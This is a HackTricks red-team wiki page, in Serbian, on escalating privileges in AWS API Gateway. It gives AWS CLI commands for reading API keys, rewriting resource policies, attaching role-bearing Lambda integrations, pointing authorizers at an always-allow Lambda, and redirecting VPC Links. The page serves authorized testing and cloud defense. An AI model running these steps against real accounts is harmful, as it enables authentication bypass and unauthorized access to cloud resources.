AWS - Apigateway Privesc

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Apigateway

Za više informacija pogledajte:

AWS - API Gateway Enum

apigateway:POST

Sa ovom dozvolom možete generisati API keys za API-je koji su konfigurisani (po regionu).

aws --region <region> apigateway create-api-key

Potencijalni uticaj: Ne možete izvesti privesc ovom tehnikom, ali možete doći do osetljivih informacija.

apigateway:GET

Sa ovom dozvolom možete dobiti generisane API keys API-ja koji su konfigurisani (po regionu).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potencijalni uticaj: Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi dali pristup za njegovo pozivanje i zloupotrebili potencijalni pristup koji API gateway može imati (npr. pozivanje ranjivog lambda).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potencijalni uticaj: Obično nećete moći direktno da privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

Potrebno testiranje

Napadač sa dozvolama apigateway:PutIntegration, apigateway:CreateDeployment, и iam:PassRole može dodati novu integraciju postojećem API Gateway REST API-ju koristeći Lambda funkciju kojoj je pridružena IAM role. Napadač zatim može pokrenuti Lambda funkciju da izvrši proizvoljan kod i potencijalno dobije pristup resursima povezanim sa IAM role.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencijalni uticaj: Pristup resursima povezanim sa IAM rolom Lambda funkcije.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

Treba testirati

Napadač koji ima dozvole apigateway:UpdateAuthorizer i apigateway:CreateDeployment može izmeniti postojeći API Gateway authorizer kako bi zaobišao bezbednosne provere (npr. preusmeriti ga na Lambda funkciju koja uvek vraća “allow”) ili da izvrši proizvoljan kod kada se pošalju API zahtevi.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencijalni uticaj: Zaobilaženje bezbednosnih provera, neovlašćen pristup API resursima.

HTTP APIs / apigatewayv2 varijanta

Za HTTP APIs (API Gateway v2), ekvivalentna operacija je ažuriranje authorizer-a putem apigatewayv2:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

Potrebno testiranje

Napadač sa dozvolom apigateway:UpdateVpcLink može izmeniti postojeći VPC Link da upućuje na drugi Network Load Balancer, potencijalno preusmeravajući saobraćaj privatnog API-ja ka neautorizovanim ili zlonamernim resursima.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potencijalni uticaj: Neovlašćen pristup privatnim API resursima, presretanje ili ometanje API saobraćaja.

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks